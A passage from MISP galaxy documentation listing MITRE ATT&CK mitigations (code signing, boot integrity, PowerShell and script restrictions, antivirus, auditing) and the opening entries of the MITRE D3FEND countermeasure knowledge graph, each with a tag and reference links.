- Perform configuration changes in a staging environment before applying them in production.
- Conduct regular audits to ensure that settings remain aligned with security policies.

Tools for Implementation

Configuration Management Tools:

- Ansible: Automates configuration changes across multiple applications and environments.
- Chef: Ensures consistent application settings through code-based configuration management.
- Puppet: Automates software configurations and audits changes for compliance.

Security Benchmarking Tools:

- CIS-CAT: Provides benchmarks and audits for secure software configurations.
- Aqua Security Trivy: Scans containerized applications for configuration issues.

Vulnerability Management Solutions:

- Nessus: Identifies misconfigurations and suggests corrective actions.

Logging and Monitoring Tools:

- Splunk: Aggregates and analyzes application logs to detect suspicious activity.

The tag is: *misp-galaxy:mitre-course-of-action="Software Configuration - M1054"*

Table 9419. Table References

Links
https://attack.mitre.org/mitigations/M1054

Code Signing - M1045

Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. Code signing protects against tampering, impersonation, and distribution of unauthorized or malicious software, forming a critical defense against supply chain and software exploitation attacks. This mitigation can be implemented through the following measures:

Enforce Signed Code Execution:

- Implementation: Configure operating systems (e.g., Windows with AppLocker or Linux with Secure Boot) to allow only signed code to execute.
- Use Case: Prevent the execution of malicious PowerShell scripts by requiring all scripts to be signed with a trusted certificate.

Vendor-Signed Driver Enforcement:

- Implementation: Enable kernel-mode code signing to ensure that only drivers signed by trusted vendors can be loaded.
- Use Case: A malicious driver attempting to modify system memory fails to load because it lacks a valid signature.

Certificate Revocation Management:

- Implementation: Use Online Certificate Status Protocol (OCSP) or Certificate Revocation Lists (CRLs) to block certificates associated with compromised or deprecated code.
- Use Case: A compromised certificate used to sign a malicious update is revoked, preventing further execution of the software.

Third-Party Software Verification:

- Implementation: Require software from external vendors to be signed with valid certificates before deployment.
- Use Case: An organization only deploys signed and verified third-party software to prevent supply chain attacks.

Script Integrity in CI/CD Pipelines:

- Implementation: Integrate code signing into CI/CD pipelines to sign and verify code artifacts before production release.
- Use Case: A software company ensures that all production builds are signed, preventing tampered builds from reaching customers.

Key Components of Code Signing

- Digital Signature Verification: Verifies the authenticity of code by ensuring it was signed by a trusted entity.
- Certificate Management: Uses Public Key Infrastructure (PKI) to manage signing certificates and revocation lists.
- Enforced Policy for Unsigned Code: Prevents the execution of unsigned or untrusted binaries and scripts.
- Hash Integrity Check: Confirms that code has not been altered since signing by comparing cryptographic hashes.

The tag is: *misp-galaxy:mitre-course-of-action="Code Signing - M1045"*

Table 9420. Table References

Links
https://attack.mitre.org/mitigations/M1045

Boot Integrity - M1046

Boot Integrity ensures that a system starts securely by verifying the integrity of its boot process, operating system, and associated components. This mitigation focuses on leveraging secure boot mechanisms, hardware-rooted trust, and runtime integrity checks to prevent tampering during the boot sequence. It is designed to thwart adversaries attempting to modify system firmware, bootloaders, or critical OS components. This mitigation can be implemented through the following measures:

Implementation of Secure Boot:

- Implementation: Enable UEFI Secure Boot on all systems and configure it to allow only signed bootloaders and operating systems.
- Use Case: An adversary attempts to replace the system's bootloader with a malicious version to gain persistence. Secure Boot prevents the untrusted bootloader from executing, halting the attack.

Utilization of TPMs:

- Implementation: Configure systems to use TPM-based attestation for boot integrity, ensuring that any modification to the firmware, bootloader, or OS is detected.
- Use Case: A compromised firmware component alters the boot sequence. The TPM detects the change and triggers an alert, allowing the organization to respond before further damage.

Enable Bootloader Passwords:

- Implementation: Protect BIOS/UEFI settings with a strong password and limit physical access to devices.
- Use Case: An attacker with physical access attempts to disable Secure Boot or modify the boot sequence. The password prevents unauthorized changes.

Runtime Integrity Monitoring:

- Implementation: Deploy solutions to verify the integrity of critical files and processes after boot.
- Use Case: A malware infection modifies kernel modules post-boot. Runtime integrity monitoring detects the modification and prevents the malicious module from loading.

The tag is: *misp-galaxy:mitre-course-of-action="Boot Integrity - M1046"*

Table 9421. Table References

Links
https://attack.mitre.org/mitigations/M1046

Scripting Mitigation - T1064

Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.

Configure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

The tag is: *misp-galaxy:mitre-course-of-action="Scripting Mitigation - T1064"*

Table 9422. Table References

Links
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://attack.mitre.org/mitigations/T1064
https://cloudblogs.microsoft.com/microsoftsecure/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/

Bootkit Mitigation - T1067

Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform

Module) (Citation: TechNet Secure Boot Process)

The tag is: *misp-galaxy:mitre-course-of-action="Bootkit Mitigation - T1067"*

Table 9423. Table References

Links
http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf
https://attack.mitre.org/mitigations/T1067
https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process

PowerShell Mitigation - T1086

It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.

The tag is: *misp-galaxy:mitre-course-of-action="PowerShell Mitigation - T1086"*

Table 9424. Table References

Links
https://attack.mitre.org/mitigations/T1086
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

Timestomp Mitigation - T1099

Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Timestomp Mitigation - T1099"*

Table 9425. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx

http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1099
https://technet.microsoft.com/en-us/library/ee791851.aspx

Regsvr32 Mitigation - T1117

Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)

The tag is: *misp-galaxy:mitre-course-of-action="Regsvr32 Mitigation - T1117"*

Table 9426. Table References

Links
https://attack.mitre.org/mitigations/T1117
https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET

InstallUtil Mitigation - T1118

InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="InstallUtil Mitigation - T1118"*

Table 9427. Table References

Links
https://attack.mitre.org/mitigations/T1118

CMSTP Mitigation - T1191

CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)

The tag is: *misp-galaxy:mitre-course-of-action="CMSTP Mitigation - T1191"*

Table 9428. Table References

Links

https://attack.mitre.org/mitigations/T1191
https://msitpros.com/?p=3960

Keychain Mitigation - T1142

The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.

The tag is: *misp-galaxy:mitre-course-of-action="Keychain Mitigation - T1142"*

Table 9429. Table References

Links
https://attack.mitre.org/mitigations/T1142

Launchctl Mitigation - T1152

Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.

The tag is: *misp-galaxy:mitre-course-of-action="Launchctl Mitigation - T1152"*

Table 9430. Table References

Links
https://attack.mitre.org/mitigations/T1152

Source Mitigation - T1153

Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.

The tag is: *misp-galaxy:mitre-course-of-action="Source Mitigation - T1153"*

Table 9431. Table References

Links
https://attack.mitre.org/mitigations/T1153

Trap Mitigation - T1154

Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.

The tag is: *misp-galaxy:mitre-course-of-action="Trap Mitigation - T1154"*

Table 9432. Table References

Links
https://attack.mitre.org/mitigations/T1154

HISTCONTROL Mitigation - T1148

Prevent users from changing the <code>HISTCONTROL</code> environment variable (Citation: Securing bash history). Also, make sure that the <code>HISTCONTROL</code> environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.

The tag is: *misp-galaxy:mitre-course-of-action="HISTCONTROL Mitigation - T1148"*

Table 9433. Table References

Links
http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory
https://attack.mitre.org/mitigations/T1148

Defacement Mitigation - T1491

Implementing best practices for websites such as defending against [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) (Citation: OWASP Top 10 2017). Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. (Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.

The tag is: *misp-galaxy:mitre-course-of-action="Defacement Mitigation - T1491"*

Table 9434. Table References

Links
https://attack.mitre.org/mitigations/T1491
https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/

AppleScript Mitigation - T1155

Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.

The tag is: *misp-galaxy:mitre-course-of-action="AppleScript Mitigation - T1155"*

Table 9435. Table References

Links
https://attack.mitre.org/mitigations/T1155

https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/

Sudo Mitigation - T1169

The sudoers file should be strictly edited such that passwords are always required and that users can't spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.

The tag is: *misp-galaxy:mitre-course-of-action="Sudo Mitigation - T1169"*

Table 9436. Table References

Links
https://attack.mitre.org/mitigations/T1169

Hooking Mitigation - T1179

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

The tag is: *misp-galaxy:mitre-course-of-action="Hooking Mitigation - T1179"*

Table 9437. Table References

Links
https://attack.mitre.org/mitigations/T1179

Pre-compromise - M1056

Pre-compromise mitigations involve proactive measures and defenses implemented to prevent adversaries from successfully identifying and exploiting weaknesses during the Reconnaissance and Resource Development phases of an attack. These activities focus on reducing an organization's attack surface, identify adversarial preparation efforts, and increase the difficulty for attackers to conduct successful operations. This mitigation can be implemented through the following measures:

Limit Information Exposure:

- Regularly audit and sanitize publicly available data, including job posts, websites, and social media.
- Use tools like OSINT monitoring platforms (e.g., SpiderFoot, Recon-ng) to identify leaked information.

Protect Domain and DNS Infrastructure:

- Enable DNSSEC and use WHOIS privacy protection.
- Monitor for domain hijacking or lookalike domains using services like RiskIQ or DomainTools.

External Monitoring:

- Use tools like Shodan, Censys to monitor your external attack surface.
- Deploy external vulnerability scanners to proactively address weaknesses.

Threat Intelligence:

- Leverage platforms like MISP, Recorded Future, or Anomali to track adversarial infrastructure, tools, and activity.

Content and Email Protections:

- Use email security solutions like Proofpoint, Microsoft Defender for Office 365, or Mimecast.
- Enforce SPF/DKIM/DMARC policies to protect against email spoofing.

Training and Awareness:

- Educate employees on identifying phishing attempts, securing their social media, and avoiding information leaks.

The tag is: *misp-galaxy:mitre-course-of-action="Pre-compromise - M1056"*

Table 9438. Table References

Links
https://attack.mitre.org/mitigations/M1056

Antivirus/Antimalware - M1049

Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware. These solutions continuously monitor endpoints and systems for known malicious patterns and suspicious behaviors that indicate compromise. Antivirus/Antimalware software should be deployed across all devices, with automated updates to ensure protection against the latest threats. This mitigation can be implemented through the following measures:

Signature-Based Detection:

- Implementation: Use predefined signatures to identify known malware based on unique patterns such as file hashes, byte sequences, or command-line arguments. This method is effective against known threats.
- Use Case: When malware like "Emotet" is detected, its signature (such as a specific file hash) matches a known database of malicious software, triggering an alert and allowing immediate quarantine of the infected file.

Heuristic-Based Detection:

- Implementation: Deploy heuristic algorithms that analyze behavior and characteristics of files and processes to identify potential malware, even if it doesn't match a known signature.
- Use Case: If a program attempts to modify multiple critical system files or initiate suspicious network communications, heuristic analysis may flag it as potentially malicious, even if no specific malware signature is available.

Behavioral Detection (Behavior Prevention):

- Implementation: Use behavioral analysis to detect patterns of abnormal activities, such as unusual system calls, unauthorized file encryption, or attempts to escalate privileges.
- Use Case: Behavioral analysis can detect ransomware attacks early by identifying behavior like mass file encryption, even before a specific ransomware signature has been identified.

Real-Time Scanning:

- Implementation: Enable real-time scanning to automatically inspect files and network traffic for signs of malware as they are accessed, downloaded, or executed.
- Use Case: When a user downloads an email attachment, the antivirus solution scans the file in real-time, checking it against both signatures and heuristics to detect any malicious content before it can be opened.

Cloud-Assisted Threat Intelligence:

- Implementation: Use cloud-based threat intelligence to ensure the antivirus solution can access the latest malware definitions and real-time threat feeds from a global database of emerging threats.
- Use Case: Cloud-assisted antivirus solutions quickly identify newly discovered malware by cross-referencing against global threat databases, providing real-time protection against zero-day attacks.

Tools for Implementation:

- Endpoint Security Platforms: Use solutions such as EDR for comprehensive antivirus/antimalware protection across all systems.
- Centralized Management: Implement centralized antivirus management consoles that provide visibility into threat activity, enable policy enforcement, and automate updates.
- Behavioral Analysis Tools: Leverage solutions with advanced behavioral analysis capabilities to detect malicious activity patterns that don't rely on known signatures.

The tag is: *misp-galaxy:mitre-course-of-action="Antivirus/Antimalware - M1049"*

Table 9439. Table References

Links
https://attack.mitre.org/mitigations/M1049

Antivirus/Antimalware - M1058

Mobile security products, such as Mobile Threat Defense (MTD), offer various device-based mitigations against certain behaviors.

The tag is: *misp-galaxy:mitre-course-of-action="Antivirus/Antimalware - M1058"*

Table 9440. Table References

Links
https://attack.mitre.org/mitigations/M1058

Attestation - M1002

Enable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.

The tag is: *misp-galaxy:mitre-course-of-action="Attestation - M1002"*

Table 9441. Table References

Links
https://attack.mitre.org/mitigations/M1002

Audit - M1047

Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.

Auditing is applicable to all systems used within an organization, from the front door of a building to accessing a file on a fileserver. It is considered more critical for regulated industries such as, healthcare, finance and government where compliance requirements demand stringent tracking of user and system activates.This mitigation can be implemented through the following measures:

System Audit:

- Use Case: Regularly assess system configurations to ensure compliance with organizational security policies.
- Implementation: Use tools to scan for deviations from established benchmarks.

Permission Audits:

- Use Case: Review file and folder permissions to minimize the risk of unauthorized access or privilege escalation.
- Implementation: Run access reviews to identify users or groups with excessive permissions.

Software Audits:

- Use Case: Identify outdated, unsupported, or insecure software that could serve as an attack vector.
- Implementation: Use inventory and vulnerability scanning tools to detect outdated versions and recommend secure alternatives.

Configuration Audits:

- Use Case: Evaluate system and network configurations to ensure secure settings (e.g., disabled SMBv1, enabled MFA).
- Implementation: Implement automated configuration scanning tools like SCAP (Security Content Automation Protocol) to identify non-compliant systems.

Network Audits:

- Use Case: Examine network traffic, firewall rules, and endpoint communications to identify unauthorized or insecure connections.
- Implementation: Utilize tools such as Wireshark, or Zeek to monitor and log suspicious network behavior.

The tag is: *misp-galaxy:mitre-course-of-action="Audit - M1047"*

Table 9442. Table References

Links
https://attack.mitre.org/mitigations/M1047

MITRE D3FEND

A knowledge graph of cybersecurity countermeasures..

MITRE D3FEND is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Restore Software

Restoring software to a host.

The tag is: *misp-galaxy:mitre-d3fend="Restore Software"*

Table 9443. Table References

Links

https://d3fend.mitre.org/technique/d3f:RestoreSoftware

Encrypted Tunnels

Encrypted encapsulation of routable network traffic.

The tag is: *misp-galaxy:mitre-d3fend="Encrypted Tunnels"*

Table 9444. Table References

Links
https://d3fend.mitre.org/technique/d3f:EncryptedTunnels

Restore Disk Image

Restoring a previously captured disk image a hard drive.

The tag is: *misp-galaxy:mitre-d3fend="Restore Disk Image"*

Table 9445. Table References

Links
https://d3fend.mitre.org/technique/d3f:RestoreDiskImage

Service Dependency Mapping

Service dependency mapping determines the services on which each given service relies.

The tag is: *misp-galaxy:mitre-d3fend="Service Dependency Mapping"*

Service Dependency Mapping is also known as:

- Distributed Tracing

Table 9446. Table References

Links
https://d3fend.mitre.org/technique/d3f:ServiceDependencyMapping

File Removal

The file removal technique deletes malicious artifacts or programs from a computer system.

The tag is: *misp-galaxy:mitre-d3fend="File Removal"*

File Removal is also known as:

- File Deletion

Table 9447. Table References

Links
https://d3fend.mitre.org/technique/d3f:FileRemoval

Network Vulnerability Assessment

Network vulnerability assessment relates all the vulnerabilities of a network's components in the context of their configuration and interdependencies and can also include assessing risk emerging from the network's design as a whole, not just the sum of individual network node or network segment vulnerabilities.

The tag is: *misp-galaxy:mitre-d3fend="Network Vulnerability Assessment"*

Table 9448. Table References

Links
https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment

Relay Pattern Analysis

The detection of an internal host relaying traffic between the internal network and the external network.

The tag is: *misp-galaxy:mitre-d3fend="Relay Pattern Analysis"*

Relay Pattern Analysis is also known as:

- Relay Network Detection

Table 9449. Table References

Links
https://d3fend.mitre.org/technique/d3f:RelayPatternAnalysis

DNS Denylisting

Blocking DNS Network Traffic based on criteria such as IP address, domain name, or DNS query type.

The tag is: *misp-galaxy:mitre-d3fend="DNS Denylisting"*

DNS Denylisting is also known as:

- DNS Blacklisting

Table 9450. Table References

Links

https://d3fend.mitre.org/technique/d3f:DNSDenylisting

Asset Vulnerability Enumeration

Asset vulnerability enumeration enriches inventory items with knowledge identifying their vulnerabilities.

The tag is: *misp-galaxy:mitre-d3fend="Asset Vulnerability Enumeration"*

Table 9451. Table References

Links
https://d3fend.mitre.org/technique/d3f:AssetVulnerabilityEnumeration

Firmware Embedded Monitoring Code

Monitoring code is injected into firmware for integrity monitoring of firmware and firmware data.

The tag is: *misp-galaxy:mitre-d3fend="Firmware Embedded Monitoring Code"*

Table 9452. Table References

Links
https://d3fend.mitre.org/technique/d3f:FirmwareEmbeddedMonitoringCode

Decoy Session Token

An authentication token created for the purposes of deceiving an adversary.

The tag is: *misp-galaxy:mitre-d3fend="Decoy Session Token"*

Table 9453. Table References

Links
https://d3fend.mitre.org/technique/d3f:DecoySessionToken

Certificate-based Authentication

Requiring a digital certificate in order to authenticate a user.

The tag is: *misp-galaxy:mitre-d3fend="Certificate-based Authentication"*

Table 9454. Table References

Links
https://d3fend.mitre.org/technique/d3f:Certificate-basedAuthentication

File Encryption

Encrypting a file using a cryptographic key.

The tag is: *misp-galaxy:mitre-d3fend="File Encryption"*

Table 9455. Table References

Links
https://d3fend.mitre.org/technique/d3f:FileEncryption

Firmware Behavior Analysis

Analyzing the behavior of embedded code in firmware and looking for anomalous behavior and suspicious activity.

The tag is: *misp-galaxy:mitre-d3fend="Firmware Behavior Analysis"*

Firmware Behavior Analysis is also known as:

- Firmware Timing Analysis

Table 9456. Table References

Links
https://d3fend.mitre.org/technique/d3f:FirmwareBehaviorAnalysis

Authorization Event Thresholding

Collecting authorization events, creating a baseline user profile, and determining whether authorization events are consistent with the baseline profile.

The tag is: *misp-galaxy:mitre-d3fend="Authorization Event Thresholding"*

Table 9457. Table References

Links
https://d3fend.mitre.org/technique/d3f:AuthorizationEventThresholding

System Dependency Mapping

System dependency mapping identifies and models the dependencies of system components on each other to carry out their function.

The tag is: *misp-galaxy:mitre-d3fend="System Dependency Mapping"*

Table 9458. Table References

Links

https://d3fend.mitre.org/technique/d3f:SystemDependencyMapping

Strong Password Policy

Modifying system configuration to increase password strength.

The tag is: *misp-galaxy:mitre-d3fend="Strong Password Policy"*

Table 9459. Table References

Links
https://d3fend.mitre.org/technique/d3f:StrongPasswordPolicy

User Geolocation Logon Pattern Analysis

Monitoring geolocation data of user logon attempts and comparing it to a baseline user behavior profile to identify anomalies in logon location.

The tag is: *misp-galaxy:mitre-d3fend="User Geolocation Logon Pattern Analysis"*

Table 9460. Table References

Links
https://d3fend.mitre.org/technique/d3f:UserGeolocationLogonPatternAnalysis

Resource Access Pattern Analysis

Analyzing the resources accessed by a user to identify unauthorized activity.

The tag is: *misp-galaxy:mitre-d3fend="Resource Access Pattern Analysis"*

Table 9461. Table References

Links
https://d3fend.mitre.org/technique/d3f:ResourceAccessPatternAnalysis

Identifier Activity Analysis

Taking known malicious identifiers and determining if they are present in a system.

The tag is: *misp-galaxy:mitre-d3fend="Identifier Activity Analysis"*

Table 9462. Table References

Links
https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis

Certificate Analysis

Analyzing Public Key Infrastructure certificates to detect if they have been misconfigured or spoofed using both network traffic, certificate fields and third-party logs.

The tag is: *misp-galaxy:mitre-d3fend="Certificate Analysis"*

Table 9463. Table References

Links
https://d3fend.mitre.org/technique/d3f:CertificateAnalysis

System Vulnerability Assessment

System vulnerability assessment relates all the vulnerabilities of a system's components in the context of their configuration and internal dependencies and can also include assessing risk emerging from the system's design as a whole, not just the sum of individual component vulnerabilities.

The tag is: *misp-galaxy:mitre-d3fend="System Vulnerability Assessment"*

Table 9464. Table References

Links
https://d3fend.mitre.org/technique/d3f:SystemVulnerabilityAssessment

Job Function Access Pattern Analysis

Detecting anomalies in user access patterns by comparing user access activity to behavioral profiles that categorize users by role such as job title, function, department.

The tag is: *misp-galaxy:mitre-d3fend="Job Function Access Pattern Analysis"*

Table 9465. Table References

Links
https://d3fend.mitre.org/technique/d3f:JobFunctionAccessPatternAnalysis

File Access Pattern Analysis

Analyzing the files accessed by a process to identify unauthorized activity.

The tag is: *misp-galaxy:mitre-d3fend="File Access Pattern Analysis"*

Table 9466. Table References

Links
https://d3fend.mitre.org/technique/d3f:FileAccessPatternAnalysis

Disk Encryption

Encrypting a hard disk partition to prevent cleartext access to a file system.

The tag is: *misp-galaxy:mitre-d3fend="Disk Encryption"*

Table 9467. Table References

Links
https://d3fend.mitre.org/technique/d3f:DiskEncryption

Local File Permissions

Restricting access to a local file by configuring operating system functionality.

The tag is: *misp-galaxy:mitre-d3fend="Local File Permissions"*

Table 9468. Table References

Links
https://d3fend.mitre.org/technique/d3f:LocalFilePermissions

Network Node Inventory

Network node inventorying identifies and records all the network nodes (hosts, routers, switches, firewalls, etc.) in the organization's architecture.

The tag is: *misp-galaxy:mitre-d3fend="Network Node Inventory"*

Network Node Inventory is also known as:

- System Discovery
- System Inventorying

Table 9469. Table References

Links
https://d3fend.mitre.org/technique/d3f:NetworkNodeInventory

Credential Compromise Scope Analysis

Determining which credentials may have been compromised by analyzing the user logon history of a particular system.

The tag is: *misp-galaxy:mitre-d3fend="Credential Compromise Scope Analysis"*

Table 9470. Table References

Links

https://d3fend.mitre.org/technique/d3f:CredentialCompromiseScopeAnalysis

Indirect Branch Call Analysis

Analyzing vendor specific branch call recording in order to detect ROP style attacks.

The tag is: *misp-galaxy:mitre-d3fend="Indirect Branch Call Analysis"*

Table 9471. Table References

Links
https://d3fend.mitre.org/technique/d3f:IndirectBranchCallAnalysis

Software Inventory

Software inventorying identifies and records the software items in the organization's architecture.

The tag is: *misp-galaxy:mitre-d3fend="Software Inventory"*

Software Inventory is also known as:

- Software Discovery
- Software Inventorying

Table 9472. Table References

Links
https://d3fend.mitre.org/technique/d3f:SoftwareInventory

Process Termination

Terminating a running application process on a computer system.

The tag is: *misp-galaxy:mitre-d3fend="Process Termination"*

Table 9473. Table References

Links
https://d3fend.mitre.org/technique/d3f:ProcessTermination

Connection Attempt Analysis

Analyzing failed connections in a network to detect unauthorized activity.

The tag is: *misp-galaxy:mitre-d3fend="Connection Attempt Analysis"*

Connection Attempt Analysis is also known as:

- Network Scan Detection

Table 9474. Table References

Links
https://d3fend.mitre.org/technique/d3f:ConnectionAttemptAnalysis

Message Encryption

Encrypting a message body using a cryptographic key.

The tag is: *misp-galaxy:mitre-d3fend="Message Encryption"*

Table 9475. Table References

Links
https://d3fend.mitre.org/technique/d3f:MessageEncryption

Segment Address Offset Randomization

Randomizing the base (start) address of one or more segments of memory during the initialization of a process.

The tag is: *misp-galaxy:mitre-d3fend="Segment Address Offset Randomization"*

Segment Address Offset Randomization is also known as:

- ASLR
- Address Space Layout Randomization

Table 9476. Table References

Links
https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization

Restore Configuration

Restoring an software configuration.

The tag is: *misp-galaxy:mitre-d3fend="Restore Configuration"*

Table 9477. Table References

Links
https://d3fend.mitre.org/technique/d3f:RestoreConfiguration

Decoy Network Resource

Deploying a network resource for the purposes of deceiving an adversary.

The tag is: *misp-galaxy:mitre-d3fend="Decoy Network Resource"*

Table 9478. Table References

Links
https://d3fend.mitre.org/technique/d3f:DecoyNetworkResource

Software Update

Replacing old software on a computer system component.

The tag is: *misp-galaxy:mitre-d3fend="Software Update"*

Table 9479. Table References

Links
https://d3fend.mitre.org/technique/d3f:SoftwareUpdate

Decoy File

A file created for the purposes of deceiving an adversary.

The tag is: *misp-galaxy:mitre-d3fend="Decoy File"*

Table 9480. Table References

Links
https://d3fend.mitre.org/technique/d3f:DecoyFile

DNS Traffic Analysis

Analysis of domain name metadata, including name and DNS records, to determine whether the domain is likely to resolve to an undesirable host.

The tag is: *misp-galaxy:mitre-d3fend="DNS Traffic Analysis"*

DNS Traffic Analysis is also known as:

- Domain Name Analysis

Table 9481. Table References

Links
https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis

Operational Dependency Mapping

Operational dependency mapping identifies and models the dependencies of the organization's activities on each other and on the organization's performers (people, systems, and services.) This may include modeling the higher- and lower-level activities of an organization forming a hierarchy, or layering, of the dependencies in an organization's activities.

The tag is: *misp-galaxy:mitre-d3fend="Operational Dependency Mapping"*

Table 9482. Table References

Links
https://d3fend.mitre.org/technique/d3f:OperationalDependencyMapping

Logical Link Mapping

Logical link mapping creates a model of existing or previous node-to-node connections using network-layer data or metadata.

The tag is: *misp-galaxy:mitre-d3fend="Logical Link Mapping"*

Table 9483. Table References

Links
https://d3fend.mitre.org/technique/d3f:LogicalLinkMapping

Web Session Activity Analysis

Monitoring changes in user web session behavior by comparing current web session activity to a baseline behavior profile or a catalog of predetermined malicious behavior.

The tag is: *misp-galaxy:mitre-d3fend="Web Session Activity Analysis"*

Table 9484. Table References

Links
https://d3fend.mitre.org/technique/d3f:WebSessionActivityAnalysis

Physical Link Mapping

Physical link mapping identifies and models the link connectivity of the network devices within a physical network.

The tag is: *misp-galaxy:mitre-d3fend="Physical Link Mapping"*

Physical Link Mapping is also known as:

- Layer 1 Mapping

Table 9485. Table References

Links
https://d3fend.mitre.org/technique/d3f:PhysicalLinkMapping

Authentication Event Thresholding

Collecting authentication events, creating a baseline user profile, and determining whether authentication events are consistent with the baseline profile.

The tag is: *misp-galaxy:mitre-d3fend="Authentication Event Thresholding"*

Table 9486. Table References

Links
https://d3fend.mitre.org/technique/d3f:AuthenticationEventThresholding

Operating System Monitoring

The operating system software, for D3FEND's purposes, includes the kernel and its process management functions, hardware drivers, initialization or boot logic. It also includes and other key system daemons and their configuration. The monitoring or analysis of these components for unauthorized activity constitute **Operating System Monitoring**.

The tag is: *misp-galaxy:mitre-d3fend="Operating System Monitoring"*

Table 9487. Table References

Links
https://d3fend.mitre.org/technique/d3f:OperatingSystemMonitoring

Forward Resolution Domain Denylisting

Blocking a lookup based on the query's domain name value.

The tag is: *misp-galaxy:mitre-d3fend="Forward Resolution Domain Denylisting"*

Forward Resolution Domain Denylisting is also known as:

- Forward Resolution Domain Blacklisting

Table 9488. Table References

Links
https://d3fend.mitre.org/technique/d3f:ForwardResolutionDomainDenylisting

Per Host Download-Upload Ratio Analysis

Detecting anomalies that indicate malicious activity by comparing the amount of data downloaded versus data uploaded by a host.

The tag is: *misp-galaxy:mitre-d3fend="Per Host Download-Upload Ratio Analysis"*

Table 9489. Table References

Links
https://d3fend.mitre.org/technique/d3f:PerHostDownload-UploadRatioAnalysis

IPC Traffic Analysis

Analyzing standard inter process communication (IPC) protocols to detect deviations from normal protocol activity.

The tag is: *misp-galaxy:mitre-d3fend="IPC Traffic Analysis"*

IPC Traffic Analysis is also known as:

- IPC Analysis

Table 9490. Table References

Links
https://d3fend.mitre.org/technique/d3f:IPCTrafficAnalysis

Application Configuration Hardening

Modifying an application's configuration to reduce its attack surface.

The tag is: *misp-galaxy:mitre-d3fend="Application Configuration Hardening"*

Table 9491. Table References

Links
https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening

